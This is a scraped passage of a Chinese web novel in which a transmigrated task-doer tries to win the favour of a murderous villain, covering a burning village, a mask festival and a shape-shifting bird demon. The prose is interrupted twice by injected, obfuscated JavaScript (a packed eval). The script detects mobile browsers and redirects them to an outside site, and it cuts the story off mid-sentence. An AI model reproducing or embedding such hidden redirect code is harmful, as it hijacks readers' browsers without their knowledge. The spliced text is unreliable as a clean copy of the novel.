但崔若盈动作极快,手指一动,立刻就把门从外面锁上了。 内河村村民僵尸一般的脸被挡在门后。崔若盈呼出一口气,再回过头看向水缸处,却见陈有文的无头尸身轰然倒下。 在他身后,殷逐白慢条斯理地收回剑,掀开眼帘望着她。黑发浸了水,湿答答地搭在他的肩上,像是一条条蜿蜒爬行的黑色长蛇。 所以……她还是撞破了他的杀人现场? 不对,这不叫撞破。这家伙根本没想过藏啊! 崔若盈装作没看见地上的死人,对殷逐白道:“这门还能挡一会儿,我们先离开内河村。殷家的支援,应该要不了多久就会到了吧?” 在两人追着青蛛妖离开暗河的时候,殷逐白就用特殊手段联系了殷家驻扎在这边的分部。 以除妖师的速度,估计要不了多久就能到了。 说着,她又瞄了眼地上的尸体。 陈有文身首分离,眼睛却还睁得大大的,似乎没能反应过来自己已经被杀的事实,可见殷逐白的速度有多快。 而附在他身上的青蛛妖元神也彻底毁在那一剑之下,再无重生的可能。 只看了一眼,崔若盈就若无其事地瞥开目光,快步朝着外面走去。 走了两步,一道黑影从身后将她笼罩,原来是殷逐白跟上来了。 崔若盈没说话。 两人走了几分钟,走到内河村的石桥附近时,天色渐渐亮了,淡白色的云朦胧地挂在天际,天光勾勒出桥边垂柳摇曳的身姿。 走到柳树下,殷逐白忽然道:“崔姑娘,我杀了人。” 崔若盈只好点头:“我看到了。” 院子就那么大点,她想装看不见都做不到。 又是沉默。 在沉默中,几缕柳絮一样的云出现在灰蓝色的天空上,借着这几丝并不分明的光,崔若盈看到一个妇人从桥的另一端走来。 她顿时停住,戒备地看过去。那妇人走近,崔若盈看到了她的脸——是陈三婶。 她没参与村民们的围剿,只是孤身一人,悄然在河边徘徊。 见崔若盈和殷逐白走过来,她什么也没问,只是淡淡道:“你们快走吧。” 崔若盈停顿一下,才道:“除妖师很快就来。内河村的人助纣为虐,会被移交当地官府处理。” 陈三婶道:“那是我们应得的。” 说完这句话,她就漠然与两人擦肩而过。崔若盈默了默,最终还是没有出言叫住她。 很快,陈三婶的背影就消失在她的视线中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14699960|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人继续向前,很快就出了内河村,来到了官道上。 时间还早,官道上空无一人,道路两侧的草木倒是旺盛,野鸟掠过繁茂的树枝,在天空中留下一串嘶鸣。 天边出现浓烈的火光。崔若盈转过身,只见内河村已置身于一片火海之中,翻腾的烟雾直冲云霄,染红了天际的彩云。 “内河村……着火了?” 崔若盈望着翻滚的火焰,有些震惊。 那火很大,绝非普通的失火。火光摧枯拉朽般吞噬着内河村整齐的房屋,一切的罪恶,都湮灭于蝴蝶鳞粉般的火星之中。 崔若盈看向殷逐白。殷逐白也在看着她,两人的目光像是打火石般碰了一下,又快速分开了。 “算了,这样也好。”崔若盈道,“内河村村民手上还有剩下的极乐丸,这种东西流出去,搞不好还要闹出更大的乱子呢。” 虽然不知道大火到底是怎么回事,但对所有人来说,这都是个不错的结局。 耽搁了这么一会儿工夫,天已经大亮。 金粉色的朝霞落在官道上,道路两侧的草丛也被染上了暧昧的粉红色。 沿着官道走了一段路,就来到了来时经过的那个茶水摊。摆茶水摊的老夫妇认出了崔若盈和殷逐白,见他们浑身湿漉漉的,不免吃惊。 两人借用了茶水摊的地方,换上了干爽的衣服,坐在摊位上等殷家的人来。 这里是通往内河村的必经之路,殷家的支援想到内河村,就一定会经过这里。 折腾了整整好几天,又是淋雨又是泡水又是逃跑,崔若盈早就累得不行了。在座位上坐了没一会儿,她就侧趴在手臂上,昏昏欲睡了。 “崔姑娘?” 半梦半醒间,她听到殷逐白在叫她。 崔若盈迷迷糊糊地应了一声。 其实她根本不想回答,但意识模糊间,她思维混乱地发散,想到这是自己的攻略对象,又不得不“嗯”了声。 “崔姑娘,你还没回答我的问题。” “嗯,什么问题?” “崔姑娘,我杀了人。” “嗯,看见了。” “崔姑娘会不会觉得我很可怕?” 崔若盈睁开一只眼,打了个哈欠,睡眼惺忪地敷衍道:“可怕,喜欢打扰别人睡觉的人真的很可怕。” 天天崔姑娘长崔姑娘短的,受不了。 “你不喜欢我叫你崔姑娘吗?” 崔若盈没回答。她困得不行,又懒得回答殷逐白的各种送命题,已经睡了过去。 “崔姑娘?” 殷逐白侧过头,静静地凝望着她。 崔若盈趴在桌子上,已经睡沉了,连头发也沉沉地散在桌上,表情是前所未有的安静。她似乎有些冷,身体微微蜷着,眉头也轻轻皱起。 殷逐白把外袍披在她的身上。 他看了她很久很久,心中突然升起一种隐秘的窃喜。他对这种情绪十分陌生,最后只能将其归结于“期待”。 没错,崔若盈越信任他、越喜欢他,离他动手的时间就越近,离她的死期也就越近。 他渴望接近崔若盈,正是因为他如此期待着。 23. 轻声些,崔姑娘在休息。 驻守在附近的殷家除妖师接收到殷逐白的信号,不敢有丝毫耽搁。 过了半个小时左右,官道尽头传来纷乱的马蹄声,一队人马停在简陋的茶水摊附近。 众人下马恭敬行礼。为首之人是殷逐白的得力干将殷湖。 殷湖对殷家忠心耿耿,却不知道殷逐白的真面目。 原剧情中,他对殷逐白产生怀疑,暗中帮助寇言湘和祝星游,最终死在了殷逐白手上。 不过此时,他对殷逐白十分忠诚,没有半点疑虑。 殷湖上前一步,行礼后沉声道:“家主。” “殷湖,轻声些。”殷逐白放轻声音,“崔姑娘在休息。” 说话时,他甚至都没有看向众除妖师,视线始终停留在崔若盈身上。轻盈的目光描摹着崔若盈的轮廓,又随着她的呼吸而上下起伏。 她身上还披着殷逐白的外袍。 那外袍很宽大,将她大半个身体都盖住,绣着金线的衣服边缘擦过秀美的侧脸,流水一般顺着崔若盈的身体垂落。 几枚纯金的扣子反射出金色光芒。那朝阳一般灿然的光辉落在她的脸上。 殷逐白向来是个很体贴的人——至少他表现出来的是这样。他善解人意、从不让人觉得厌烦,即使对刚认识的人,也以礼相待。 但即便如此,殷湖也从他对崔若盈的过分体贴中品尝出了几分不同寻常。 殷湖视线在崔若盈身上隐晦地转了两圈,这才挪开视线,压低声音:“家主,内河村那边?” 殷逐白缓声将大体情况说了一遍,又道:“青蛛妖已除,内河村意外失火,你带人去找找,看有没有人活着。若有幸存者,便移交官府处理吧。” 除妖师只管除妖,恶人还需要交给当地官府审判。 殷湖垂首应是,又问:“那家主和崔姑娘要回山庄吗?” “等她休息好,我们就回去。” “是。” 马蹄声渐渐远去,飞扬的尘土纷纷扬扬落下。开茶肆的老夫妇坐在后面,不敢打扰,周围又只剩一片寂静,只偶尔才能听到风吹树叶传来的沙沙声。 殷逐白静坐在原处,如同一尊精致的石雕,无悲无喜地伫立着,在日复一日的风吹雨淋中失去面目,任由青苔、藤蔓长满他的身体。 阳光冲破云层,照在简陋的茶肆中,带来几分春日的暖意。随着日光落下,殷逐白的睫毛颤了颤,黑色的眼珠就转向崔若盈的方向。 爬满青苔的石像,好像在这一刻活了过来。 阳光越过他的肩膀,在崔若盈唇上点缀了浅浅的金色光斑。那光一定很温暖。 殷逐白伸出一只手,挡住了那缕映在她唇上的阳光。那缕光落在他的手背上,带着意料之中的热量,缓缓灼烧着他的肌肤。 似乎是感受到了变化,崔若盈眼皮下的的眼珠动了动,倏然睁开了眼。 趴着的姿势特别不舒服,桌子硬梆梆的,硌得人手肘隐隐作痛,半个肩膀都是麻的。 不过崔若盈可顾不上这点不舒服。她豁然坐直身体,看向殷逐白:“殷家的人还没来吗?” 随着她的动作,披在她身上的外袍轻缓地滑落。崔若盈眼疾手快,一把捞住衣袍,仔细一看却发现,这居然是殷逐白的衣服。 再看殷逐白,他果然没穿外套。 ……嘶,反派给她披了件衣服?这么体贴?别是有什么阴谋诡计吧? 崔若盈抱着殷逐白的衣裳,一时间竟有些不知所措。 “已经来过了。” 殷逐白自然地伸出手,接过外袍。外袍上还残存着余温,几缕香味盘踞在衣领上,幽幽地飞到远处。 那是清爽的柑橘香味。 “已经来过了?!” “我见你还睡着,就让他们先去内河村探查了。” 崔若盈整了整衣领,很不好意思:“你可以叫醒我嘛,这样多不好意思。” 殷逐白微笑:“崔姑娘,你不是说‘打扰别人睡觉的人最可怕’吗?” “啊?”崔若盈一愣,“有这回事吗?” 再仔细一想,嘶,完了,好像还真说了。 “啊哈哈,我当时是太困了,说的胡话,你别当真嘛。”崔若盈打了个哈哈,眼睛转了转,飞快岔开了话题,“殷家主,那我们现在去哪里啊?” “内河村任务结束,我们回殷家吧。”殷逐白也没纠缠,顺着她的话向下说,“寇姑娘和祝公子,应该也做完任务了。” 那可不一定。 崔若盈记得,寇言湘和祝星游要对付的那只画妖特别狡猾,制作了几十幅假画混淆视听。 原著中有殷逐白帮忙,他们也花了小半个月才解决画妖。 心里这么想着,崔若盈脸上却没有表现出来,只是点头:“好,那我们走吧。” 殷家除妖师离开时,留下了两匹马,两人骑马在官道上驰骋,赶路的速度倒是快了不少。 天黑之前,两人来到了一座名为太官城的古城,找了间客栈住宿。 太官城位于几州边界,城内聚集了南来北往的行商,甚至还有妖族混在其中。 不过芦州对妖族没有那么苛刻,对一些不害人的小妖也不会赶尽杀绝,人妖两族之间的关系还算融洽。 崔若盈上了自己的房间,舒舒服服地泡了个澡。洗完澡,她一边擦头发,一边打开系统面板,查看目前的任务进度。 而她的任务进度——居然是负数耶。 不看心塞,看了更心塞。 崔若盈坐在一边的椅子上,陷入久久的沉思。 她就想不明白,殷逐白的好感度,怎么会是负数呢? 回顾本次任务,殷逐白有无数次机会能杀了她,可他都没有动手。不仅如此,他还救了她好几次。 殷逐白这种反派,怎么可能救自己讨厌的人呢?崔若盈也不觉得自己有什么利用价值,能让反派破例不杀她。 搞不懂,真的搞不懂。 该不会是,这个老年机系统坏了吧? 崔若盈越想越觉得可能,于是给总部发了个信息,要求检修系统,总部回复会在三天内检修并答复。 没办法,只能等检修结果出来再做打算了。 关掉系统面板,崔若盈便听到楼下街道上传来隐隐约约的说话声。 她的房间临街,街道上的光透过窗纸飞入屋中,映得她的房间也明亮起来。 崔若盈走到窗边,推开窗朝外面一看,就见街道上人潮汹涌。身着各色服饰的行人走在街上,如同蜜蜂一般,乌泱泱地朝着一个方向 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他叫了一声:“崔若盈……” 声音隐隐约约,如鬼魅般飘散在太官城的上空,终究无人应答。殷逐白垂下眼,过了好一会儿,才将窗子重新合拢。 走过一条街,面前渐渐开阔,路边多出了卖各种小玩意儿的小摊,其中大部分都卖面具。 崔若盈走到其中一个卖面具的摊位前,挑了一个红狐狸的面具,一边付钱一边问道:“今天是什么节日吗,为什么这么多人?” 太官城外来者多,摊主见怪不怪,头都没抬:“今天是四月二,人要戴面具,扮成妖的样子。” 传闻千年前,妖族动乱,要攻打太官城。太官城人为了避祸,戴上动物面具伪装成妖怪模样,掩人耳目躲过一劫。 为了纪念这一天,每年四月二日,太官城人都会戴面具、开市集,热闹非凡。 当然这只是个传说,具体情况如何已不可考,崔若盈也不想细究。 她戴上红狐狸面具,在街上左看右看,走走停停。 没过多久,崔若盈就来到了太官城最中心地带,那里陈设着一个纸糊的巨大面具, 面具上颜色斑斓,用金色颜料画了山川日月、各色纹饰。灯光下花纹闪动,犹如有金沙涌流,煞是好看。 不过,就算再好看,看久了也觉得乏味。崔若盈看了一会儿,就失去了兴趣,忍不住去想殷逐白这家伙现在在做什么。 这个念头刚一出现,崔若盈余光就瞄到一道熟悉的人影。 那人穿着金色的衣裳,身形挺拔、容貌美丽,神色温柔。 朦胧灯火落在他身上,他白皙的皮肤散发出月光般的光晕,浑身上下,都笼罩在如梦似幻的柔软光泽之中。 是殷逐白! 殷逐白似乎也看到了她,对她微微一笑,紧接着脚步一转,身影消失在了一个黑暗的小巷之中。 搞什么? 崔若盈皱了皱眉。她总觉得有些不对劲,但思索几秒,还是朝着小巷中走去。 在她身后,一片黑影轻轻摇动,几秒后,也藏在她的影子中,悄无声息地跟了上去。 24. 你在它身上看到了谁? 殷逐白影子在人潮中灵活地游过,灯火落在他的发冠上,反射出金色的光芒。 崔若盈跟在他身后从街道上穿过,越向前走,路就越偏僻,行人也少了许多,只有街边树影婆娑,月光泠泠在繁茂枝叶间流动,喧嚣的人声全部被抛在身后。 眼看着就要走到城郊,崔若盈忍不住顿住脚步,心中生疑。 那个人,真是殷逐白? 刚刚她匆匆一瞥,看到了那人的脸,是殷逐白无疑,但崔若盈还是觉得有点不对劲。 殷逐白把她引到这荒郊野外干什么?难道是想杀了她? 察觉到崔若盈停住了脚步,走在前面的殷逐白回过头,绣着金线的衣裳映着月光,如同瀑布一般凛凛闪烁着。 他没有说话,只是轻轻扬起嘴角,对崔若盈笑了笑。 那笑容和殷逐白招牌式的温和微笑别无二致,即使是崔若盈,一时半会儿也挑不出什么破绽,只能跟着他继续向前,想看看到底是怎么回事。 殷逐白越走越偏,身影穿过交结错杂如羊肠般的小巷,最终停在一棵枝叶繁茂的树下,转身看向崔若盈。 几缕云彩倏然从天边飞过,挡住一轮澄澈的弦月。月亮暗了一瞬,又亮了起来,给寂静的夜晚填上了几分淡淡的不祥。 崔若盈上前一步:“殷家主?” 他仍是不回答,只是将双手拢在宽大的袖中,静静地伫立在树下,面含笑意看着她,像是在等待她过去。 崔若盈本该过去。但对方行为怪异,反而让她多出几分踌躇来。 薄薄的浅灰色云雾挡住弯月。月光在云彩的空隙中时隐时现,化作点点碎片,就这样落在他的身上。 崔若盈道:“殷家主,你把我带到这里干什么?” 殷逐白定定地看着她,随后对她招了招手:“过来。” 虽是命令的话,但他用轻柔的语气说出口,却不显得咄咄逼人。 崔若盈怔了两秒,走到那人对面,乖乖道:“殷家主?” 对方仍旧那样定定地看着她。 那双眼像是死人的眼睛,黝黑黝黑,不带一丝一毫的情绪——崔若盈觉得,在对方眼里,自己也是个死人。 他在逼近,手臂已经伸出,似乎是想触碰崔若盈的脸。 一只手指碰到崔若盈的脸上,冰冰凉凉的,高大的身影几乎将崔若盈全然笼罩,他身上的气味也钻入崔若盈的鼻腔。 那是一种淡淡的腐臭味。 这不是殷逐白! 崔若盈恍然惊醒。她盯着面前这张漂亮到令人恍惚的脸,心中升起阵阵寒意。 来不及多想,崔若盈当机立断,抽出腰后短刀,朝着对方雪白的脖颈斩去。 “殷逐白”意识到自己的伪装被她看穿,慌乱地躲过她的一击,快速褪去殷逐白的伪装,化作一个瘦长的黑影,张开翅膀一般的双臂,转身就要逃进交错的小巷中。 崔若盈连忙去追,然而没追出去几步,就见一道流光从后飞来,如箭矢一般直挺挺地与崔若盈擦肩而过,朝着黑影飞去。 这攻击来得猝不及防,黑影毫无防备,正好被钉穿头颅。 流光将黑影刺了个对穿,然后“铛”地一声刺在古树粗糙的树干上,力道之大,撼得树干都震了一震。 崔若盈一惊,下意识地回过头。正逢一阵风吹过,遮月的薄云被吹散,显露出月光虚无而美丽的英姿。 青年英挺地站在离她几步远的位置,宽阔的肩膀后,是空无一人的街道。静谧的光从他肩头洒落,迷糊地照亮他的模样。 他脸上,戴了张猫妖面具。 青年顶着这张面具,踏过澄明如流水般的月华。他的脚步声像是一阵飘渺的雨,被风吹来又吹去。 终于,他走了过来,静静地站在崔若盈面前。 崔若盈注意到他那张猫脸面具做工十分粗糙,油彩线条歪歪扭扭的,滑稽又可爱,仿佛制作出来就是为了让人取笑的。 她眨眨眼,伸手按在猫脸面具上。指尖传来粗糙的触感,对方柔顺地垂下头,任由她揭开滑稽的假面。 果不其然,面具下是殷逐白的脸。 再回头看看身后的树。黑影还被钉在树上,而钉住他的东西,正是殷逐白的佩剑逝飞雪。 毫不意外。 崔若盈放下手。月光照射,她的手影落在殷逐白的脸上,但只在上面停留了虚幻的一瞬。 “崔姑娘,见到是我,你不开心吗?” 殷逐白扶着面具,轻轻问道。 他长得美,微微蹙眉的样子也如泡沫般美丽,即使崔若盈清楚他很坏,偶尔也会因这份美丽而失神。 “没有啊。不过我早就猜到是你,所以一点也不惊讶。” “哦?早就猜到是我?” 崔若盈点点头:“因为殷家主身上的香味,是独一无二的。” 她只要闻上一闻,就知道那肯定是殷逐白。 “香味吗……”殷逐白垂下头,若有所思。 崔若盈没管他,径直走到被钉在树上的黑影面前,小小地“咦”了一声。 那黑影的脸上,居然罩着一个面具。 面具是纯白色的,什么图案也没有,只有眼睛的部分抠出两个洞,一眼看去白花花的,还挺吓人。 逝飞雪从黑影眉心正中央穿过,那惨白的面具上也出现了道道裂痕。 崔若盈抬手将逝飞雪取下,那面具应声而碎,尸体也掉到地上,露出本来面目。 再低头一看,那尸体竟是一只一人高的大鸟。其羽翼丰满,爪钩锋利,若是被抓上一下,肯定就要肠穿肚烂而死了。 崔若盈暗道惊险,幸好她提前发现了这妖怪不对劲,不然说不定要中招了。 “崔姑娘有没有受到惊吓?” 殷逐白走到她身后,为她掸去肩上的落叶,看都没看那鸟怪的尸体。 “没有,完全没有。” 崔若盈摇头,又递了递手上的逝飞雪,示意殷逐白把剑收回去。 然而这家伙好像没看见一样,根本没去接她手上的剑。 崔若盈无奈道:“殷家主,你的剑。” 殷逐白侧头,碎发被动作牵动,落在他的耳际,露出一片雪白的脖颈,青色血管盘踞在皮肤下,清晰可见。 “崔姑娘喜欢我这把剑吗?” “啊?” 崔若盈没想到他会问出这么个问题来。她想了想,老老实实道:“殷家主的 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崔若盈非常怀疑,不过现在可不是怀疑的时候。不远处还有一具妖怪的尸体等着处理呢。 “不用担心。这件事明显是妖物所为,我会通知除妖师处理。” 听他这么说,崔若盈也放心了。 通知过除妖师后,两人就先一步离开,沿着来时的路往回走。走了不到十分钟,街边又出现了点点灯光,人也变多了。 两人仿佛从地狱回到了人间。 崔若盈把狐狸面具戴回脸上,忍不住说起刚才的事:“我看那个尸体是一只鸟,难道是什么鸟怪吗?” 殷逐白淡淡道:“那是一只罗刹鸟。” 崔若盈若有所思:“罗刹鸟?” “罗刹鸟是墓中阴气郁积形成的妖怪,能幻化成不同的模样,借此迷惑人类。”殷逐白道,“这种妖怪的活动范围在燕州一带,很少出现在芦州。” 崔若盈道:“最近妖族似乎有向芦州迁移的迹象。” 芦州原本算是最安宁祥和的地方,现在莫名多出了这么多妖怪。这会不会和反派有关? 崔若盈掀开眼帘,小心翼翼地打量着殷逐白。 殷逐白神色坦然,脸上没有任何心虚神色。发觉她在看自己,他就偏了偏头。 “崔姑娘为什么看我?是不是有什么问题要问?” 崔若盈赶紧道:“没,没什么问题。” 就算有问题,她也不敢问啊! 殷逐白却道:“崔姑娘没有问题问我,我却有问题问崔姑娘。” 崔若盈道:“你问吧,我一定如实回答。” “听闻罗刹鸟幻化的模样不是凭空变化的,而是根据人所想变化而成。第一眼见到罗刹鸟的时候,心中所想是谁,它就会变成谁的模样。” 殷逐白停住脚步,突兀地侧过头。灯光勾勒出他俊美的面影,那张白皙的脸上,倏然露出一种诡谲而艳丽的笑容。 “崔姑娘,方不方便告诉我,你在它身上看到了谁?” 25. 这才是崔若盈的本来模样。 崔若盈沉默一瞬,脸不红心不跳地撒了个小小的谎:“我看到了寇言湘寇姐姐。” “寇姑娘?” “对呀。” 殷逐白若有所思:“看来,你和寇姑娘关系真的很好。你很了解她吗?” 崔若盈心中紧了紧。 寇言湘正是发现了殷逐白几千年来在世界各地做的一些小动作,才离开师门追查至此。 殷逐白也是因为这个,才格外关注寇言湘两人。他该不会想从她这里,打听到寇言湘的情报吧? 她戒备起来,语气却完全没变: “也不知道寇姐姐和祝大哥怎么样了。” 殷逐白收回了视线。出乎意料的是,他没有打探寇言湘和祝星游的隐私,好像对那个根本不关注。 “寇姑娘和祝公子实力很强,应该不会出太大问题的。崔若盈若是想念他们,我们快些回山庄就是。” 崔若盈“嗯嗯”点头,心里觉得奇怪。 怎么感觉殷逐白对原男女主没多大兴趣似的? 而且这几天,他明显有些心不在焉。 崔若盈眼珠动了动,把这件事记在心里。 两人走在寂寥的夜风中。穿过一条街道,月光变得明亮,晚风更加轻柔,两人的脚步声混杂在吵闹的人声中,如同雨中的风声,分外和谐。 崔若盈把手背在身后,蹦蹦跳跳地走着。她太不稳重,像只小鹿一样乱蹦乱跳,肩膀偶尔还会擦到殷逐白的手臂。 很轻。只接触一下,就立刻分开,没有任何留恋,好像只是不经意间撞上了他。 就像那个……一样。 有时候,殷逐白真的不知道,她所作所为,究竟是设计好的,还是不经意而为之。 他不清楚。但他知道,崔若盈有几分喜欢自己的伪装,只要他还是这番样子,她就多少会对他有几分真心。 殷逐白抬手摸了摸脖子。指尖抬起来,又落下,却只摸到了凉丝丝的玉质扣子。 从那次开始,他的衣服就全换成了高领的,一排玉扣每时每刻都严密地扣好,不给任何人一点可乘之机。 当然,敢这样碰他的,也只有崔若盈了。他防的不是别人,就是她。 想到此处,殷逐白的眼中爬上丝丝缕缕的笑意,嘴角也漫出几分浅淡的笑。 崔若盈走在他身边,一直密切关注着反派的动作。看到反派浅浅笑了,崔若盈先是一愣。 这家伙,也不知道想到了什么美事。该不会又策划了什么惊天大阴谋吧。 也可能是他单纯心情好。 崔若盈想了想,觉得氛围刚刚好,她可以趁反派心情不错,试着推一推攻略任务的进度条。 斟酌一会儿,崔若盈试探着开口:“殷家主,你觉得我……是不是很讨厌?” 她真的很想知道,殷逐白这家伙对她的好感度为什么上上下下,哦不,下下下下的。 她明明也没做什么。 难道殷逐白不喜欢小太阳类型?可是现在转型,是不是有点晚了啊? 殷逐白偏头:“崔姑娘为什么这么问?” “就是……好奇。” 殷逐白沉默了。他脸上那抹淡笑逐渐消失,最后像薄云一般消散在风中,只剩沉默亘古永恒。 吵嚷的人声沦为夜晚的背景音,仿佛在那一刻彻底消失不见。 惨然的月光中深藏着不安,崔若盈一颗心七上八下地跳着,只觉得有什么东西堵在胸口,闷得她喘不过气来。 她忽然有些后悔问出这个问题了。 系统面板上负数的好感度,已经说明了殷逐白对她的态度。 崔若盈心里很明白,她的攻略计划差不多可以宣告失败了。她问再多,也只是自取其辱。 想到这里,她垂下头,目光落在自己的影子上。 她的影子倒在地上,与殷逐白的影子交叠,逐渐融合成一只轮廓不明的怪物,灯光月亮,这只影子怪物的棱角反而越分明。 殷逐白的影子晃了晃,像是蝴蝶挣脱蛛网一样,与她的影子脱离开。两道影子划清界限,只有颜色是同样的黝黑。 他的声音徐徐传到她的耳边。 “没有。” 只回答了这两个字。 崔若盈一脚踢飞一颗石子。 石子骨碌碌地在地上飞了两圈,泄愤般重重地砸在殷逐白的影子上,发出一声响。 那响声沉甸甸的,让崔若盈莫名有些心虚。她收回脚,过一会儿才问道:“真没有吗?” “崔姑娘聪明又有趣,我想没人会讨厌你。” 说话时,他专注地看着她。被推到额角的猫脸面具在彩灯下,反射出昏黄的暖光。五颜六色的滑稽油彩,让他的语气听上去更加温柔可亲。 “真的?” 他毫不犹豫:“真的。” 崔若盈揉了揉耳朵,叹了口气,却什么也没说。 殷逐白这家伙的好感度,但凡有他表现出来的一半,都不至于是负数。 不过他愿意保持表面上的友善,也算是一件好事了,至少她现在不用担心自己的小命。 其他的事,慢慢想吧。 很快,两人就回到了客栈。崔若盈也没兴趣再逛,和殷逐白打了个招呼就回了自己房间。 回房后,崔若盈打开系统界面,又点开了系统商城,打算找找有没有什么道具能帮她攻略一下。 结果一进入商城界面,就看到折扣商品那一栏挂了个【时空回溯券】 崔若盈立即来了兴趣,点击查看商品简介。 时空回溯券,顾名思义,就是能够回到过去的通行证,但使用条件很十分苛刻,只有部分小世界能使用。 同时,时空回溯券对回溯的时间、地点,都有严格的限制,回到过去的任务者也不能作出任何大幅度改动世界线、改变人物命运的行为,否则会受到严厉惩罚。 尽管限制这么多,还打了折,时空回溯券还是价格不菲。崔若盈数了数价格表后面的零,感觉肉都在痛。 做任务多年,崔若盈特别精打细算,很少花钱买系统商城里的道具。虽然觉得这个时空回溯券很有用,但她还是非常犹豫。 崔若盈关掉系统商城,坐到床榻上仔细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但她很喜欢笑,笑容总是甜甜的,像是圆润有光泽的樱桃一般,让人生不起什么戒备的心思。 只有偶尔不笑的时候,那双棕色的眼珠中会透露出几分令人难以察觉的冷意。 就像现在。 这才是崔若盈的本来模样。 殷逐白眼中流动着她红裙的影子。他抬头望着她玻璃珠般冷酷清澈的眼睛,说话的声音很轻,像是林间潺潺的溪流。 “要我扶你下来吗?” 崔若盈脸上的甜美笑容很快恢复如初。她利落地翻身下马:“不用啦!” 她几个胆子几条命啊,哪敢让反派扶。 见她自己跳下来,殷逐白眼眸动了动,不动声色地止住还没来得及伸出去的手。 崔若盈没注意到他的动作,自顾自牵着马往前走。走了几步,见他还站在原地没跟上来,才回过头:“殷家主?有什么不对吗?” “没有。” 殷逐白垂下手,脸上挂上温文尔雅的笑容:“没什么。崔姑娘,我们走吧。” 他像没事人一样走到崔若盈旁边。崔若盈观察了一会儿,没看出什么端倪,这才点点头。 “走吧。” 她已经迫不及待使用时空回溯券,看看反派藏了什么小秘密了。 26. 你可一定要给我呀,殷家主。 悬玉山庄周围种满了桃树。正值四月,桃花盛开,在山间形成一片浅粉色的薄雾。薄雾氤氲,如粉色的云彩在风中流动。 殷家的人已经得到消息,在山庄前等着两人。来人名叫殷海,和殷湖一样,都是殷逐白的心腹,平时负责处理悬玉山庄内务。 “家主。”殷海对殷逐白恭敬行礼,又看向崔若盈:“还有崔姑娘。” 殷逐白把手中缰绳递到殷海手中,微笑道:“内河村的事已经解决了,殷湖他们正在善后。寇姑娘和祝公子回来了没有?” 殷海道:“回家主,寇姑娘他们还没有回来。” “还没回来啊……”殷逐白蹙起眉,对崔若盈道:“崔姑娘别着急,可能是遇到事耽搁了。” 崔若盈:“……好。” 崔若盈才不担心男女主呢。 寇言湘是昆玉山首席弟子,实力很强,而祝星游是昆玉山死对头雇来的杀她的刺客,只是后来被寇言湘策反了。 他们两个强得很,还有主角光环在身,能出什么事。 有工夫担心他们两个,倒不如担心担心自己。 崔若盈心里腹诽着,跟在殷逐白身边,听他和殷海谈起山庄的事务。 因为有她这个外人在场,两人谈的都是一些琐碎的小事,没谈什么机密,这让竖着耳朵的崔若盈有些失望。 “殷海,你先回去吧。”走过一段路,殷逐白就道,“我送崔姑娘回客院。山庄的事,我稍后处理。” 本分老实的殷海没有任何异议,行礼后便离开,山路上立刻就剩下殷逐白与崔若盈两人。 “你亲自送我回去?殷家主日理万机,这是不是有些麻烦了呀?” 殷逐白道:“只是顺路。” 崔若盈鼓起脸:“你当我不认路吗?你的书房和客院明明不是一个方向。” 殷逐白失笑:“崔姑娘可以装作没发现。” 崔若盈道:“你也可以直白点,别找什么顺路的借口。” 回了悬玉山庄,知道殷逐白不可能在这里杀她,所以崔若盈胆子也大了起来。 真是牙尖嘴利。 “是,是。崔姑娘,我不敢找借口了。”青年无奈地抬抬手,“其实山庄的事务琐碎,晚点处理也没什么。我只是想陪崔姑娘多走一段路。” 一句话说得崔若盈心里警铃大作:“陪我?” “我想谢谢你,若不是崔姑娘,这次的任务恐怕进行的不会这么顺利。” 原来是这事。 崔若盈道:“那没什么,也是为了芦州的百姓嘛。” 殷逐白轻柔地“嗯”了一声。几缕发丝随风轻动飞扬,在他肩上蜿蜒垂落,几片花瓣打着旋儿落在他的黑发之间。 “崔姑娘,你有什么想要的吗?” “嗯……”崔若盈想了想,“没有啊。” 系统商城里东西齐全,而小世界的东西需要花能量才能带出去,完全没那个必要。 殷逐白蹙起眉,路过一棵桃花树。阳光透过簇簇桃花落下,英挺的鼻梁上架起变形的金色光斑。 须臾间,他从花影中走过,光影在青年的脸上流连,从鼻子上倒涌进眼瞳中。 “崔姑娘,你什么都不想要?”殷逐白驻足,温声道,“只有神仙才无欲无求呢。崔姑娘是仙子吗?” 崔若盈默默无语,过了几秒才说:“我有想要的,但我说出来了,要是你不想给,那不是很尴尬?” 她要殷逐白这家伙的好感度!立刻破百!! 殷逐白垂头看她,眼眸闪动:“崔姑娘但说无妨。” “那我说了,你可别说我为难你。”崔若盈眼睛转了转,“我要……悬玉山庄最好看的那朵花。” 殷逐白没想到她会说出这么个愿望,怔了怔才道: “悬玉山庄光桃树就有几千棵,庄内奇花异草更是数不胜数。花朵品类不同,花季也有很大差异。哪一朵才是最好看的呢?” 崔若盈把手背在身后,得意地笑了笑:“你非让我说,现在我说了,你可一定要给我呀,殷家主。” 哪朵花最好看,还不是她说了算。不管殷逐白把什么花拿过来,她都说不是,把反派气死算了。 殷逐白无奈叹道:“崔姑娘……我没想到你想要这个。” “那你以为我想要什么?” 殷逐白不说话了。 看他郁闷,崔若盈心里爽了。 崔若盈从花树美丽的阴影中走过,阳光时而透过簇簇花雾,落在她的肩上。 朝着桃花林尽头望去,悬玉山庄精巧的建筑就躲在屏风上的精致绣纹般的粉色花团之间,在亦浓亦淡的春色中若隐若现。 殷逐白停住脚步。两人已来到了崔若盈居住的客院门口。这里没有桃花树,倒是有一片嫩绿色的树荫。 “那我回去了,殷家主。” 崔若盈对他挥了挥手,转身朝着客院内走去。几名侍女为她打开门,可刚进入院子中,就听殷逐白淡如春色的声音在和煦微风中响起。 “崔姑娘。” 一阵风吹过。新绿的树叶互相拍打着,发出“沙沙”的声音。 